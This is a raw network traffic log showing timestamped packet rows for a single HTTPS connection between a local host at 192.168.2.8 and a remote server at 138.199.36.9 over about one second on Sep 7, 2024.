Sep 7, 2024 23:15:24.223942041 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.223948956 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.223989964 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.224153042 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.224172115 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.224222898 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.224236012 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.269340038 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.293400049 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.293431997 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.293543100 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.293574095 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.293621063 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.293641090 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.293664932 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.293688059 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.293694019 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.293714046 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.293726921 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.293878078 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.293900013 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.293939114 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.293945074 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.293978930 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.294594049 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.294610977 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.294665098 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.294671059 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.294703007 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.311878920 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.311898947 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.312011957 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.312038898 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.312104940 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.312319040 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.312335014 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.312406063 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.312414885 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.312448025 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.312769890 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.312783957 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.312823057 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.312828064 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.312861919 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.313353062 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.313369036 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.313417912 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.313425064 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.313457012 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.382508993 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.382534027 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.382651091 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.382697105 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.382833958 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.383037090 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.383093119 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.383099079 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.383119106 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.383142948 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.383160114 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.383177996 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.383193016 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.383222103 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.383229017 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.383255959 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.383270979 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.383851051 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.383867025 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.383927107 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.383936882 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.383975983 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.400437117 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.400455952 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.400690079 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.400717020 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.400832891 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.400849104 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.400863886 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.400943041 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.400952101 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.400995970 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.401413918 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.401428938 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.401482105 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.401489973 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.401523113 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.401851892 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.401866913 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.401916981 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.401931047 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.401963949 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.470859051 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.470876932 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.471057892 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.471091032 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.471112013 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.471129894 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.471134901 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.471148014 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.471159935 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.471201897 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.471453905 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.471467972 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.471512079 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.471522093 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.471539974 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.471554995 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.472515106 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.472529888 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.472585917 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.472599983 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.472635984 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.488953114 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.488976002 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.489047050 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.489084005 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.489130974 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.489293098 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.489310026 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.489342928 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.489351034 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.489383936 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.489413977 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.489826918 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.489840984 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.489928961 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.489937067 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.490000010 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.490427971 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.490442038 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.490478039 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.490484953 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.490510941 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.490525961 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.559482098 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.559500933 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.559607983 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.559648991 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.559653997 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.559679985 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.559776068 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.560138941 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.560153961 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.560235023 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.560240984 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.561208963 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.561233997 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.561269045 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.561275005 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.561300993 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.579024076 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.579039097 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.579140902 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.579160929 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.579365015 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.579387903 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.579415083 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.579421997 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.579442024 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.580267906 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.580280066 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.580327034 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.580333948 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.581082106 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.581101894 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.581129074 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.581135988 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.581154108 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.628489017 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.668433905 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.668454885 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.668529034 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.668550014 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.668587923 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.668963909 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.668979883 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.669027090 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.669033051 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.669059992 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.669436932 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.669452906 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.669493914 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.669498920 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.669508934 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.669533014 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.669543028 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.669548988 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.669575930 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.669591904 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.670931101 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.670948982 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.670985937 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.670990944 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.671019077 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.671036959 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.671304941 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.671319962 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.671382904 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.671391010 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.671425104 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.671525002 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.671525955 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.671546936 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.671602011 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.671749115 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.671766043 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.671822071 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.671828032 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.671849012 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.671861887 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.757819891 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.757838011 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.757949114 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.757987022 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.758029938 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.758304119 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.758318901 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.758369923 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.758375883 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.758405924 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.758683920 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.758704901 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.758749962 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.758758068 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.758795023 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.758812904 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.758831978 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.758869886 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.758876085 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.758907080 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.759387970 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.759403944 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.759449959 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.759458065 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.759490013 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.759696007 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.759711981 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.759759903 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.759766102 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.759800911 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.759927034 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.759944916 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.759993076 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.759999037 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.760034084 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.760523081 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.760543108 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.760587931 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.760596037 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.760628939 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.845623970 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.845657110 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.845695019 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.845753908 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.845844984 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.845876932 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.845904112 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.845904112 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.845927000 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.845963955 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.845973015 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.845993042 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.846335888 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.846359968 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.846409082 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.846415997 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.846435070 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.847943068 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.847960949 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.848007917 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.848015070 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.848031998 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.848067045 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.848093033 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.848114967 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.848121881 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.848161936 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.848335981 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.848356962 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.848388910 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.848397970 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.848412991 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.848946095 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.848970890 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.849000931 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.849008083 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.849037886 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.894161940 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.934204102 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.934228897 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.934336901 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.934365034 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.934406042 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.934464931 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.934480906 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.934520006 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.934526920 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.934536934 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.934556961 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.934561014 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.934573889 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.934588909 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.934623003 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.935086012 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.935098886 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.935156107 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.935163975 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.935197115 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.936518908 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.936534882 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.936599016 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.936604977 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.936615944 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.936636925 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.936640024 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.936650038 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.936667919 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.936700106 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.936964989 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.936979055 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.937047958 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.937056065 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.937102079 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.937453032 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.937468052 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.937516928 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.937525034 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.937555075 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.022653103 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.022676945 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.022808075 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.022845030 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.022886992 CEST	49706	443	192.168.2.8	138.199.36.9
